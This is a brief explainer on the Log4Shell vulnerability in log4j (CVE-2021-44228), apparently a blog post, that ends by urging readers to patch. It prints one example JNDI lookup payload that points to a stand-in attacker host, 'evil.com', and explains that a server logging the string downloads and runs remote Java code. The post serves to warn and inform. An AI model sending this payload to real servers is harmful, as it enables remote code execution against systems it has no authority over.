Log4Shell Explained (CVE-2021-44228)

The internet is on fire. A vulnerability in `log4j` allows Remote Code Execution (RCE) via a simple text string.

The Exploit

${jndi:ldap://evil.com/exploit}

If your server logs this string (e.g., in a User-Agent header), it connects to the LDAP server, downloads a Java class, and executes it. Patch Immediately.


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